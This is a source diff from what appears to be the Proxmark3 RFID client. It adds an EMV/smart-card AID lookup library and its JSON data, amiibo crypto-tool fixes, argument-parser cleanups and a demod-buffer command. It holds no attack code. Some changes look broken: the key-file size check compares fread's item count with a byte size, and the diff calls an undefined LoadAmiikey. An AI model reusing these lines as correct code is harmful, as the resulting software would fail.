Card", "Description": "Domestic EMV Application (Version 2.1)", "Country": "Austria", "AID": "D0400000190001", "Type": "", "Name": "EMV ATM Maestro"}, {"Vendor": "Austria Card", "Description": "Domestic EMV Application (Version 2.1)", "Country": "Austria", "AID": "D0400000190002", "Type": "", "Name": "EMV POS Maestro"}, {"Vendor": "Austria Card", "Description": "Domestic EMV Application (Version 2.1)", "Country": "Austria", "AID": "D0400000190003", "Type": "", "Name": "EMV ATM MasterCard"}, {"Vendor": "Austria Card", "Description": "Domestic EMV Application (Version 2.1)", "Country": "Austria", "AID": "D0400000190004", "Type": "", "Name": "EMV POS MasterCard"}, {"Vendor": "Austria Card", "Description": "Domestic Payment System (Version 2.1)", "Country": "Austria", "AID": "D0400000190010", "Type": "", "Name": "Digital ID"}, {"Vendor": "Ministry of Finance of Georgia", "Description": "Georgia Revenue Service application for fiscal cash registers", "Country": "Georgia", "AID": "D268000001", "Type": "", "Name": "Fiscal module application"}, {"Vendor": "Giesecke&Devrient", "Description": "Giesecke & Devrient", "Country": "Germany", "AID": "D276000005", "Type": "", "Name": ""}, {"Vendor": "Giesecke&Devrient", "Description": "", "Country": "Germany", "AID": "D276000005AA040360010410", "Type": "", "Name": "G D App Nokia 6212"}, {"Vendor": "Giesecke&Devrient", "Description": "", "Country": "Germany", "AID": "D276000005AA0503E00401", "Type": "", "Name": "G D App Nokia 6212"}, {"Vendor": "Giesecke&Devrient", "Description": "", "Country": "Germany", "AID": "D276000005AA0503E00501", "Type": "", "Name": "G D App Nokia 6212"}, {"Vendor": "Giesecke&Devrient", "Description": "", "Country": "Germany", "AID": "D276000005AA0503E0050101", "Type": "", "Name": "G D App Nokia 6212"}, {"Vendor": "Giesecke&Devrient", "Description": "", "Country": "Germany", "AID": "D276000005AB0503E0040101", "Type": "", "Name": "G D App Nokia 6212"}, {"Vendor": "IBM Laboratories", "Description": "IBM Test card from the book 'Smart Card Application Development Using Java'", "Country": "Germany", "AID": "D27600002200000001", "Type": "", "Name": "SCT LOYALTY"}, {"Vendor": "IBM Laboratories", "Description": "IBM Test card from the book 'Smart Card Application Development Using Java'", "Country": "Germany", "AID": "D27600002200000002", "Type": "", "Name": "BUSINESS CARD"}, {"Vendor": "IBM Laboratories", "Description": "IBM Test card from the book 'Smart Card Application Development Using Java'", "Country": "Germany", "AID": "D27600002200000060", "Type": "", "Name": "PKCS#11 Token"}, {"Vendor": "ZKA", "Description": "Girocard (Geldkarte) in Germany", "Country": "Germany", "AID": "D276000025", "Type": "", "Name": "Girocard"}, {"Vendor": "ZKA", "Description": "Unknown", "Country": "Germany", "AID": "D27600002545410100", "Type": "", "Name": ""}, {"Vendor": "ZKA", "Description": "ZKA Girocard (Geldkarte) (Germany)", "Country": "Germany", "AID": "D27600002545500100", "Type": "EMV", "Name": "Girocard"}, {"Vendor": "ZKA", "Description": "", "Country": "Germany", "AID": "D27600002547410100", "Type": "", "Name": "Girocard ATM"}, {"Vendor": "Wolfgang Rankl", "Description": "", "Country": "Germany", "AID": "D276000060", "Type": "", "Name": ""}, {"Vendor": "NXP Semiconductors / NFC Forum", "Description": "NFC Forum Type 4 Tag", "Country": "Germany", "AID": "D2760000850100", "Type": "", "Name": "NDEF Tag Application / Mifare DESFire Tag Application"}, {"Vendor": "NXP Semiconductors / NFC Forum", "Description": "NFC Tag type 4 tag", "Country": "Germany", "AID": "D2760000850101", "Type": "", "Name": "NDEF Tag Application"}, {"Vendor": "Giesecke&Devrient Java Card Telecommunikation", "Description": "", "Country": "Germany", "AID": "D276000118", "Type": "", "Name": ""}, {"Vendor": "Giesecke&Devrient Java Card Telecommunikation", "Description": "Devrient Test Applet?", "Country": "Germany", "AID": "D2760001180101", "Type": "", "Name": "Giesecke &"}, {"Vendor": "fsfEurope", "Description": "For selection when not knowing the exact full AID", "Country": "Germany", "AID": "D27600012401", "Type": "OpenPGP", "Name": "OpenPGP Card"}, {"Vendor": "fsfEurope", "Description": "Version 1", "Country": "Germany", "AID": "D276000124010101FFFF000000010000", "Type": "OpenPGP", "Name": "OpenPGP Card"}, {"Vendor": "fsfEurope", "Description": "Version 2", "Country": "Germany", "AID": "D2760001240102000000000000010000", "Type": "OpenPGP", "Name": "OpenPGP Card"}, {"Vendor": "fsfEurope", "Description": "http://smartchess.de/englisch/SmartChess_1.0.pdf", "Country": "Germany", "AID": "D27600012402", "Type": "SmartChess", "Name": "SmartChess"}, {"Vendor": "fsfEurope", "Description": "http://smartchess.de/englisch/SmartChess_1.0.pdf", "Country": "Germany", "AID": "D2760001240200010000000000000000", "Type": "SmartChess", "Name": "SmartChess"}, {"Vendor": "", "Description": "", "Country": "Republic of Korea", "AID": "D4100000011010", "Type": "", "Name": ""}, {"Vendor": "", "Description": "(Netherlands)", "Country": "The Netherlands", "AID": "D5280050218002", "Type": "EMV", "Name": "?"}, {"Vendor": "Bankaxept", "Description": "Norwegian domestic debit card", "Country": "Norway", "AID": "D5780000021010", "Type": "EMV", "Name": "Bankaxept"}, {"Vendor": "Swiss Travel Fund (Reka)", "Description": "prepaid functional debit card", "Country": "Switzerland", "AID": "D7560000010101", "Type": "", "Name": "Reka Card"}, {"Vendor": "Migros (FCM, GE Money Bank and MasterCard)", "Description": "", "Country": "Switzerland", "AID": "D7560000300101", "Type": "", "Name": "M Budget"}, {"Vendor": "", "Description": "German eID", "Country": "", "AID": "E80704007F00070302", "Type": "", "Name": "nPA"}, {"Vendor": "", "Description": "", "Country": "", "AID": "E82881C11702", "Type": "", "Name": "AlphaCard application"}, {"Vendor": "", "Description": "Iso adoption of PKCS-15", "Country": "", "AID": "E828BD080F", "Type": "", "Name": "ISO-7816-15 EF.DIR"}, {"Vendor": "", "Description": "Brazilian Bank Banco Bradesco", "Country": "", "AID": "F0000000030001", "Type": "EMV", "Name": "BRADESCO"}] \ No newline at end of file diff --git a/client/aidsearch.c b/client/aidsearch.c new file mode 100644 index 000000000..676db4cc7 --- /dev/null +++ b/client/aidsearch.c @@ -0,0 +1,177 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 merlokk +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Proxmark3 RDV40 AID list library +//----------------------------------------------------------------------------- +#include "aidsearch.h" +#include +#include +#include "fileutils.h" +#include "pm3_cmd.h" + +int openAIDFile(json_t **root, bool verbose) { + json_error_t error; + + char *path; + int res = searchFile(&path, RESOURCES_SUBDIR, "aidlist", ".json", false); + if (res != PM3_SUCCESS) { + return PM3_EFILE; + } + + int retval = PM3_SUCCESS; + *root = json_load_file(path, 0, &error); + if (!*root) { + PrintAndLogEx(ERR, "json (%s) error on line %d: %s", path, error.line, error.text); + retval = PM3_ESOFT; + goto out; + } + + if (!json_is_array(*root)) { + PrintAndLogEx(ERR, "Invalid json (%s) format. root must be an array.", path); + retval = PM3_ESOFT; + goto out; + } + + if (verbose) PrintAndLogEx(SUCCESS, "Loaded file (%s) OK. %zu records.", path, json_array_size(*root)); +out: + free(path); + return retval; +} + +int closeAIDFile(json_t *root) { + + json_decref(root); + return PM3_SUCCESS; +} + +json_t *AIDSearchInit(bool verbose) { + json_t *root = NULL; + int res = openAIDFile(&root, verbose); + if (res != PM3_SUCCESS) + return NULL; + + return root; +} + +json_t *AIDSearchGetElm(json_t *root, int elmindx) { + json_t *data = json_array_get(root, elmindx); + if (!json_is_object(data)) { + PrintAndLogEx(ERR, "data [%d] is not an object\n", elmindx); + return NULL; + } + return data; +} + +int AIDSearchFree(json_t *root) { + + return closeAIDFile(root); +} + +const char *jsonStrGet(json_t *data, char *name) { + json_t *jstr; + + jstr = json_object_get(data, name); + if (jstr == NULL) + return NULL; + if (!json_is_string(jstr)) { + PrintAndLogEx(ERR, "`%s` is not a string", name); + return NULL; + } + + const char *cstr = json_string_value(jstr); + if (strlen(cstr) == 0) + return NULL; + return cstr; +} + +bool aidCompare(const char *aidlarge, const char *aidsmall) { + if (strcmp(aidlarge, aidsmall) == 0) + return true; + + if (strlen(aidlarge) > strlen(aidsmall)) + if (strncmp(aidlarge, aidsmall, strlen(aidsmall)) == 0) + return true; + + return false; +} + +bool AIDGetFromElm(json_t *data, uint8_t *aid, size_t aidmaxlen, int *aidlen) { + *aidlen = 0; + const char *hexaid = jsonStrGet(data, "AID"); + if (hexaid == NULL || strlen(hexaid) == 0) + return false; + + int res = param_gethex_to_eol(hexaid, 0, aid, aidmaxlen, aidlen); + if (res) + return false; + + return true; +} + +int PrintAIDDescription(json_t *xroot, char *aid, bool verbose) { + int retval = PM3_SUCCESS; + + json_t *root = xroot; + if (root == NULL) + root = AIDSearchInit(verbose); + if (root == NULL) + goto out; + + json_t *elm = NULL; + int maxaidlen = 0; + for (int elmindx = 0; elmindx < json_array_size(root); elmindx++) { + json_t *data = AIDSearchGetElm(root, elmindx); + if (data == NULL) + continue; + const char *dictaid = jsonStrGet(data, "AID"); + if (aidCompare(aid, dictaid)) { // dictaid may be less length than requested aid + if (maxaidlen < strlen(dictaid) && strlen(dictaid) <= strlen(aid)) { + maxaidlen = strlen(dictaid); + elm = data; + } + } + } + + if (elm == NULL) + goto out; + + // print here + const char *vaid = jsonStrGet(elm, "AID"); + const char *vendor = jsonStrGet(elm, "Vendor"); + const char *name = jsonStrGet(elm, "Name"); + const char *country = jsonStrGet(elm, "Country"); + const char *description = jsonStrGet(elm, "Description"); + const char *type = jsonStrGet(elm, "Type"); + + if (!verbose) { + PrintAndLogEx(SUCCESS, "AID %s | %s | %s", vaid, vendor, name); + } else { + PrintAndLogEx(SUCCESS, "Input AID: %s", aid); + if (aid) + PrintAndLogEx(SUCCESS, "Found AID: %s", vaid); + if (vendor) + PrintAndLogEx(SUCCESS, "Vendor: %s", vendor); + if (type) + PrintAndLogEx(SUCCESS, "Type: %s", type); + if (name) + PrintAndLogEx(SUCCESS, "Name: %s", name); + if (country) + PrintAndLogEx(SUCCESS, "Country: %s", country); + if (description) + PrintAndLogEx(SUCCESS, "Description: %s", description); + } + +out: + if (xroot == NULL) + AIDSearchFree(root); + return retval; +} + +int PrintAIDDescriptionBuf(json_t *root, uint8_t *aid, size_t aidlen, bool verbose) { + return PrintAIDDescription(root, sprint_hex_inrow(aid, aidlen), verbose); +} + diff --git a/client/aidsearch.h b/client/aidsearch.h new file mode 100644 index 000000000..00d2b134a --- /dev/null +++ b/client/aidsearch.h @@ -0,0 +1,28 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 merlokk +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Proxmark3 RDV40 AID list library +//----------------------------------------------------------------------------- + +#ifndef AIDSEARCH_H__ +#define AIDSEARCH_H__ + +#include "common.h" + +#include +#include + +#include + +int PrintAIDDescription(json_t *xroot, char *aid, bool verbose); +int PrintAIDDescriptionBuf(json_t *root, uint8_t *aid, size_t aidlen, bool verbose); +json_t *AIDSearchInit(bool verbose); +json_t *AIDSearchGetElm(json_t *root, int elmindx); +bool AIDGetFromElm(json_t *data, uint8_t *aid, size_t aidmaxlen, int *aidlen); +int AIDSearchFree(); + +#endif diff --git a/client/amiitool/Makefile b/client/amiitool/Makefile new file mode 100644 index 000000000..c473f58ee --- /dev/null +++ b/client/amiitool/Makefile @@ -0,0 +1,19 @@ +MYSRCPATHS = +MYINCLUDES = -I. -I.. -I../jansson -I../../common/ -I../../include/ +MYCFLAGS = -std=c99 -D_ISOC99_SOURCE +MYDEFS = +MYSRCS = \ + amiibo.c \ + drbg.c \ + keygen.c + +LIB_A = libamiibo.a + +include ../../Makefile.host + +# just for testing amiitool before complete migration into a lib: + +amiitool: + gcc $(CFLAGS) \ + amiitool.c $(MYSRCS) ../../common/commonutil.c ../ui.c -lreadline -lm ../../common/mbedtls/libmbedtls.a \ + -o amiitool diff --git a/client/amiitool/amiibo.c b/client/amiitool/amiibo.c index a8596e30a..809f611d3 100644 --- a/client/amiitool/amiibo.c +++ b/client/amiitool/amiibo.c @@ -8,6 +8,7 @@ #include "amiibo.h" #include "mbedtls/md.h" #include "mbedtls/aes.h" +#include "commonutil.h" #define HMAC_POS_DATA 0x008 #define HMAC_POS_TAG 0x1B4 @@ -136,16 +137,15 @@ bool nfc3d_amiibo_load_keys(nfc3d_amiibo_keys *amiiboKeys, const char *path) { return false; } - if (!fread(amiiboKeys, sizeof(*amiiboKeys), 1, f)) { - fclose(f); - return false; - } + size_t len = fread(amiiboKeys, sizeof(*amiiboKeys), 1, f); fclose(f); - if ( - (amiiboKeys->data.magicBytesSize > 16) || - (amiiboKeys->tag.magicBytesSize > 16) - ) { + if (len != sizeof(*amiiboKeys)) { + return false; + } + + if ((amiiboKeys->data.magicBytesSize > 16) || + (amiiboKeys->tag.magicBytesSize > 16)) { return false; } diff --git a/client/amiitool/amiibo.h b/client/amiitool/amiibo.h index 7b56a2c0a..47d544875 100644 --- a/client/amiitool/amiibo.h +++ b/client/amiitool/amiibo.h @@ -13,7 +13,6 @@ #include #include #include "keygen.h" -#include "util.h" #define NFC3D_AMIIBO_SIZE 520 diff --git a/client/amiitool/amiitool.c b/client/amiitool/amiitool.c index 78c8f4d1e..ca34a5c6a 100644 --- a/client/amiitool/amiitool.c +++ b/client/amiitool/amiitool.c @@ -5,10 +5,11 @@ * SPDX-License-Identifier: MIT */ -#include #include #include -#include "../loclass/fileutils.h" +#include "fileutils.h" +#include "amiibo.h" +#include "getopt.h" #define NTAG215_SIZE 540 @@ -16,7 +17,7 @@ static char *self; void amiitool_usage() { fprintf(stderr, - "amiitool build %i (commit %s-%08x)\n" + /*"amiitool build %i (commit %s-%08x)\n"*/ "by Marcos Del Sol Vives \n" "\n" "Usage: %s (-e|-d|-c) -k keyfile [-i input] [-s input2] [-o output]\n" @@ -28,7 +29,7 @@ void amiitool_usage() { " -s input save file, save from this file will replace input file ones.\n" " -o output file. If not specified, stdout will be used.\n" " -l decrypt files with invalid signatures.\n", - , self + self ); } @@ -62,6 +63,9 @@ int main(int argc, char **argv) { case 'i': infile = optarg; break; + case 'k': + keyfile = optarg; + break; case 's': savefile = optarg; break; @@ -83,7 +87,8 @@ int main(int argc, char **argv) { } nfc3d_amiibo_keys amiiboKeys; - + if (! LoadAmiikey(amiiboKeys, keyfile)) + return 5; uint8_t original[NTAG215_SIZE]; uint8_t modified[NFC3D_AMIIBO_SIZE]; diff --git a/client/amiitool/drbg.c b/client/amiitool/drbg.c index 623a29776..c1297920f 100644 --- a/client/amiitool/drbg.c +++ b/client/amiitool/drbg.c @@ -8,7 +8,7 @@ #include "drbg.h" #include #include -#include +#include "mbedtls/md.h" void nfc3d_drbg_init(nfc3d_drbg_ctx *ctx, const uint8_t *hmacKey, size_t hmacKeySize, const uint8_t *seed, size_t seedSize) { assert(ctx != NULL); diff --git a/client/amiitool/keygen.c b/client/amiitool/keygen.c index 4b74a0232..f148c0dc8 100644 --- a/client/amiitool/keygen.c +++ b/client/amiitool/keygen.c @@ -19,7 +19,7 @@ void nfc3d_keygen_prepare_seed(const nfc3d_keygen_masterkeys *baseKeys, const ui uint8_t *start = output; // 1: Copy whole type string - output = memccpy(output, baseKeys->typeString, '\0', sizeof(baseKeys->typeString)); + output = (uint8_t *)strcpy((char *)output, baseKeys->typeString); // 2: Append (16 - magicBytesSize) from the input seed size_t leadingSeedBytes = 16 - baseKeys->magicBytesSize; diff --git a/client/cliparser/argtable3.c b/client/cliparser/argtable3.c index 9d83dc33c..3acbce48e 100644 --- a/client/cliparser/argtable3.c +++ b/client/cliparser/argtable3.c @@ -1522,7 +1522,7 @@ struct arg_dbl *arg_dbln( addr = (size_t)(result + 1); rem = addr % sizeof(double); result->dval = (double *)(addr + sizeof(double) - rem); - ARG_TRACE(("addr=%p, dval=%p, sizeof(double)=%d rem=%d\n", addr, result->dval, (int)sizeof(double), (int)rem)); + ARG_TRACE(("addr=%zu, dval=%p, sizeof(double)=%d rem=%d\n", addr, result->dval, (int)sizeof(double), (int)rem)); result->count = 0; } @@ -3484,8 +3484,12 @@ TRexBool trex_getsubexp(TRex *exp, int n, TRexMatch *subexp) { static void arg_str_resetfn(struct arg_str *parent) { + int i; ARG_TRACE(("%s:resetfn(%p)\n", __FILE__, parent)); parent->count = 0; + for (i = 0; i < parent->count; i++) { + parent->sval[i] = ""; + } } @@ -3671,8 +3675,7 @@ void arg_register_error(struct arg_end *end, * Return index of first table entry with a matching short option * or -1 if no match was found. */ -static -int find_shortoption(struct arg_hdr * *table, char shortopt) { +static int find_shortoption(struct arg_hdr **table, char shortopt) { int tabindex; for (tabindex = 0; !(table[tabindex]->flag & ARG_TERMINATOR); tabindex++) { if (table[tabindex]->shortopts && @@ -3682,7 +3685,6 @@ int find_shortoption(struct arg_hdr * *table, char shortopt) { return -1; } - struct longoptions { int getoptval; int noptions; @@ -3706,8 +3708,7 @@ void dump_longoptions(struct longoptions *longoptions) { } #endif -static -struct longoptions *alloc_longoptions(struct arg_hdr * *table) { +static struct longoptions *alloc_longoptions(struct arg_hdr **table) { struct longoptions *result; size_t nbytes; int noptions = 1; @@ -3789,8 +3790,7 @@ struct longoptions *alloc_longoptions(struct arg_hdr * *table) { return result; } -static -char *alloc_shortoptions(struct arg_hdr * *table) { +static char *alloc_shortoptions(struct arg_hdr **table) { char *result; size_t len = 2; int tabindex; @@ -3830,8 +3830,7 @@ char *alloc_shortoptions(struct arg_hdr * *table) { /* return index of the table terminator entry */ -static -int arg_endindex(struct arg_hdr * *table) { +static int arg_endindex(struct arg_hdr **table) { int tabindex = 0; while (!(table[tabindex]->flag & ARG_TERMINATOR)) tabindex++; @@ -3839,11 +3838,10 @@ int arg_endindex(struct arg_hdr * *table) { } -static -void arg_parse_tagged(int argc, - char * *argv, - struct arg_hdr * *table, - struct arg_end *endtable) { +static void arg_parse_tagged(int argc, + char **argv, + struct arg_hdr **table, + struct arg_end *endtable) { struct longoptions *longoptions; char *shortoptions; int copt; @@ -3953,11 +3951,10 @@ void arg_parse_tagged(int argc, } -static -void arg_parse_untagged(int argc, - char * *argv, - struct arg_hdr * *table, - struct arg_end *endtable) { +static void arg_parse_untagged(int argc, + char **argv, + struct arg_hdr **table, + struct arg_end *endtable) { int tabindex = 0; int errorlast = 0; const char *optarglast = NULL; @@ -4010,7 +4007,6 @@ void arg_parse_untagged(int argc, optarglast = argv[optind]; parentlast = parent; } - } /* if a tenative error still remains at this point then register it as a proper error */ @@ -4030,8 +4026,7 @@ void arg_parse_untagged(int argc, } -static -void arg_parse_check(struct arg_hdr * *table, struct arg_end *endtable) { +static void arg_parse_check(struct arg_hdr **table, struct arg_end *endtable) { int tabindex = 0; /* printf("arg_parse_check()\n"); */ do { @@ -4045,8 +4040,7 @@ void arg_parse_check(struct arg_hdr * *table, struct arg_end *endtable) { } -static -void arg_reset(void * *argtable) { +static void arg_reset(void **argtable) { struct arg_hdr * *table = (struct arg_hdr * *)argtable; int tabindex = 0; /*printf("arg_reset(%p)\n",argtable);*/ @@ -4138,8 +4132,7 @@ int arg_parse(int argc, char * *argv, void * *argtable) { * dest[] == "goodbye cruel world!" * ndest == 10 */ -static -void arg_cat(char * *pdest, const char *src, size_t *pndest) { +static void arg_cat(char **pdest, const char *src, size_t *pndest) { char *dest = *pdest; char *end = dest + *pndest; @@ -4160,13 +4153,12 @@ void arg_cat(char * *pdest, const char *src, size_t *pndest) { } -static -void arg_cat_option(char *dest, - size_t ndest, - const char *shortopts, - const char *longopts, - const char *datatype, - int optvalue) { +static void arg_cat_option(char *dest, + size_t ndest, + const char *shortopts, + const char *longopts, + const char *datatype, + int optvalue) { if (shortopts) { char option[3]; @@ -4219,14 +4211,13 @@ void arg_cat_option(char *dest, } } -static -void arg_cat_optionv(char *dest, - size_t ndest, - const char *shortopts, - const char *longopts, - const char *datatype, - int optvalue, - const char *separator) { +static void arg_cat_optionv(char *dest, + size_t ndest, + const char *shortopts, + const char *longopts, + const char *datatype, + int optvalue, + const char *separator) { separator = separator ? separator : ""; if (shortopts) { @@ -4666,7 +4657,6 @@ int arg_nullcheck(void * *argtable) { return 0; } - /* * arg_free() is deprecated in favour of arg_freetable() due to a flaw in its design. * The flaw results in memory leak in the (very rare) case that an intermediate diff --git a/client/cliparser/argtable3.h b/client/cliparser/argtable3.h index c3ec479ea..d8e3c53cc 100644 --- a/client/cliparser/argtable3.h +++ b/client/cliparser/argtable3.h @@ -1,4 +1,6 @@ /******************************************************************************* + * argtable3: Declares the main interfaces of the library + * * This file is part of the argtable3 library. * * Copyright (C) 1998-2001,2003-2011,2013 Stewart Heitmann @@ -39,6 +41,13 @@ extern "C" { #endif #define ARG_REX_ICASE 1 +#define ARG_DSTR_SIZE 200 +#define ARG_CMD_NAME_LEN 100 +#define ARG_CMD_DESCRIPTION_LEN 256 + +#ifndef ARG_REPLACE_GETOPT +#define ARG_REPLACE_GETOPT 1 /* use the embedded getopt as the system getopt(3) */ +#endif /* ARG_REPLACE_GETOPT */ /* bit masks for arg_hdr.flag */ enum { @@ -143,6 +152,13 @@ struct arg_end { const char **argval; /* Array of pointers to offending argv[] string */ }; +/* +typedef struct arg_cmd_info { + char name[ARG_CMD_NAME_LEN]; + char description[ARG_CMD_DESCRIPTION_LEN]; + arg_cmdfn* proc; +} arg_cmd_info_t; +*/ /**** arg_xxx constructor functions *********************************/ diff --git a/client/cliparser/cliparser.c b/client/cliparser/cliparser.c index ae2124085..02746c0f4 100644 --- a/client/cliparser/cliparser.c +++ b/client/cliparser/cliparser.c @@ -9,7 +9,6 @@ //----------------------------------------------------------------------------- #include "cliparser.h" -#include #include void **argtable = NULL; diff --git a/client/cliparser/cliparser.h b/client/cliparser/cliparser.h index 7da509757..866ee07d6 100644 --- a/client/cliparser/cliparser.h +++ b/client/cliparser/cliparser.h @@ -12,18 +12,17 @@ #define __CLIPARSER_H #include "argtable3.h" #include "util.h" -#include -#define arg_param_begin arg_lit0("hH", "help", "print this help and exit") +#define arg_param_begin arg_lit0("hH", "help", "This help") #define arg_param_end arg_end(20) -#define arg_getsize(a) (sizeof(a) / sizeof(a[0])) -#define arg_get_lit(n)(((struct arg_lit*)argtable[n])->count) +#define arg_getsize(a) (sizeof(a) / sizeof(a[0])) +#define arg_get_lit(n) (((struct arg_lit*)argtable[n])->count) #define arg_get_int_count(n)(((struct arg_int*)argtable[n])->count) -#define arg_get_int(n)(((struct arg_int*)argtable[n])->ival[0]) -#define arg_get_int_def(n,def)(arg_get_int_count(n)?(arg_get_int(n)):(def)) -#define arg_get_str(n)((struct arg_str*)argtable[n]) -#define arg_get_str_len(n)(strlen(((struct arg_str*)argtable[n])->sval[0])) +#define arg_get_int(n) (((struct arg_int*)argtable[n])->ival[0]) +#define arg_get_int_def(n, def)(arg_get_int_count(n) ? (arg_get_int(n)) : (def)) +#define arg_get_str(n) ((struct arg_str*)argtable[n]) +#define arg_get_str_len(n) (strlen(((struct arg_str*)argtable[n])->sval[0])) #define arg_strx1(shortopts, longopts, datatype, glossary) (arg_strn((shortopts), (longopts), (datatype), 1, 250, (glossary))) #define arg_strx0(shortopts, longopts, datatype, glossary) (arg_strn((shortopts), (longopts), (datatype), 0, 250, (glossary))) diff --git a/client/cmdanalyse.c b/client/cmdanalyse.c index 1eee47c78..c4fe2d795 100644 --- a/client/cmdanalyse.c +++ b/client/cmdanalyse.c @@ -9,6 +9,20 @@ //----------------------------------------------------------------------------- #include "cmdanalyse.h" +#include // size_t +#include +#include // tolower +#include // printf +#include "commonutil.h" // reflect... +#include "comms.h" // clearCommandBuffer +#include "cmdparser.h" // command_t +#include "ui.h" // PrintAndLog +#include "crc.h" +#include "crc16.h" // crc16 ccitt +#include "tea.h" +#include "legic_prng.h" +#include "cmddata.h" // demodbuffer + static int CmdHelp(const char *Cmd); static int usage_analyse_lcr(void) { @@ -23,7 +37,7 @@ static int usage_analyse_lcr(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " analyse lcr 04008064BA"); PrintAndLogEx(NORMAL, "expected output: Target (BA) requires final LRC XOR byte value: 5A"); - return 0; + return PM3_SUCCESS; } static int usage_analyse_checksum(void) { PrintAndLogEx(NORMAL, "The bytes will be added with eachother and than limited with the applied mask"); @@ -32,14 +46,14 @@ static int usage_analyse_checksum(void) { PrintAndLogEx(NORMAL, "Usage: analyse chksum [h] [v] b m "); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h This help"); - PrintAndLogEx(NORMAL, " v supress header"); + PrintAndLogEx(NORMAL, " v suppress header"); PrintAndLogEx(NORMAL, " b bytes to calc missing XOR in a LCR"); PrintAndLogEx(NORMAL, " m bit mask to limit the outpuyt"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " analyse chksum b 137AF00A0A0D m FF"); PrintAndLogEx(NORMAL, "expected output: 0x61"); - return 0; + return PM3_SUCCESS; } static int usage_analyse_crc(void) { PrintAndLogEx(NORMAL, "A stub method to test different crc implementations inside the PM3 sourcecode. Just because you figured out the poly, doesn't mean you get the desired output"); @@ -51,7 +65,7 @@ static int usage_analyse_crc(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " analyse crc 137AF00A0A0D"); - return 0; + return PM3_SUCCESS; } static int usage_analyse_nuid(void) { PrintAndLogEx(NORMAL, "Generate 4byte NUID from 7byte UID"); @@ -63,7 +77,7 @@ static int usage_analyse_nuid(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " analyse nuid 11223344556677"); - return 0; + return PM3_SUCCESS; } static int usage_analyse_a(void) { PrintAndLogEx(NORMAL, "Iceman's personal garbage test command"); @@ -75,7 +89,19 @@ static int usage_analyse_a(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " analyse a d 137AF00A0A0D"); - return 0; + return PM3_SUCCESS; +} +static int usage_analyse_demodbuffer(void) { + PrintAndLogEx(NORMAL, "loads a binary string into demod buffer"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: analyse demodbuff [h] "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " Binary string to load"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " analyse demodbuff 0011101001001011"); + return PM3_SUCCESS; } static uint8_t calculateLRC(uint8_t *bytes, uint8_t len) { @@ -247,7 +273,7 @@ static int CmdAnalyseLCR(const char *Cmd) { PrintAndLogEx(WARNING, "Invalid HEX value."); return 1; case 2: - PrintAndLogEx(WARNING, "Too many bytes. Max %d bytes", sizeof(data)); + PrintAndLogEx(WARNING, "Too many bytes. Max %zu bytes", sizeof(data)); return 1; case 3: PrintAndLogEx(WARNING, "Hex must have even number of digits."); @@ -623,8 +649,7 @@ static int CmdAnalyseA(const char *Cmd) { for (uint8_t k=0; k<4; k = (k+1) % 4 ) { PrintAndLogEx(NORMAL, "\e[s%c\e[u", star[k]); fflush(stdout); - if (ukbhit()) { - int gc = getchar(); (void)gc; + if (kbd_enter_pressed()) { break; } } @@ -866,6 +891,39 @@ static int CmdAnalyseNuid(const char *Cmd) { PrintAndLogEx(NORMAL, "NUID | %s \n", sprint_hex(nuid, 4)); return 0; } + +static int CmdAnalyseDemodBuffer(const char *Cmd) { + + char cmdp = tolower(param_getchar(Cmd, 0)); + if (strlen(Cmd) == 0 || cmdp == 'h') return usage_analyse_demodbuffer(); + + int bg = 0, en = 0; + if (param_getptr(Cmd, &bg, &en, 0)) + return usage_analyse_demodbuffer(); + + int len = MIN((en - bg + 1), MAX_DEMOD_BUF_LEN); + + // add 1 for null terminator. + uint8_t *data = calloc(len + 1, sizeof(uint8_t)); + if (!data) return PM3_EMALLOC; + + for (int i = 0; bg <= en; bg++, i++) { + char c = Cmd[bg]; + if (c == '1') + DemodBuffer[i] = 1; + if (c == '0') + DemodBuffer[i] = 0; + + printf("%c", c); + } + + printf("\n"); + + DemodBufferLen = len; + free(data); + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"lcr", CmdAnalyseLCR, AlwaysAvailable, "Generate final byte for XOR LRC"}, @@ -876,6 +934,7 @@ static command_t CommandTable[] = { {"lfsr", CmdAnalyseLfsr, AlwaysAvailable, "LFSR tests"}, {"a", CmdAnalyseA, AlwaysAvailable, "num bits test"}, {"nuid", CmdAnalyseNuid, AlwaysAvailable, "create NUID from 7byte UID"}, + {"demodbuff", CmdAnalyseDemodBuffer, AlwaysAvailable, "Load binary string to demodbuffer"}, {NULL, NULL, NULL, NULL} }; diff --git a/client/cmdanalyse.h b/client/cmdanalyse.h index 20dc58a7e..4d223be1b 100644 --- a/client/cmdanalyse.h +++ b/client/cmdanalyse.h @@ -11,20 +11,7 @@ #ifndef CMDANALYSE_H__ #define CMDANALYSE_H__ -#include // size_t -#include -#include -#include "cmdmain.h" -#include "proxmark3.h" -#include "ui.h" // PrintAndLog -#include "util.h" -#include "crc.h" -#include "crc16.h" // crc16 ccitt -#include "tea.h" -#include "legic_prng.h" -#include "loclass/elite_crack.h" -#include "mifare/mfkey.h" // nonce2key -#include "util_posix.h" // msclock +#include "common.h" int CmdAnalyse(const char *Cmd); #endif diff --git a/client/cmdcrc.c b/client/cmdcrc.c index 58cab45e5..d51e18021 100644 --- a/client/cmdcrc.c +++ b/client/cmdcrc.c @@ -9,6 +9,23 @@ //----------------------------------------------------------------------------- #include "cmdcrc.h" 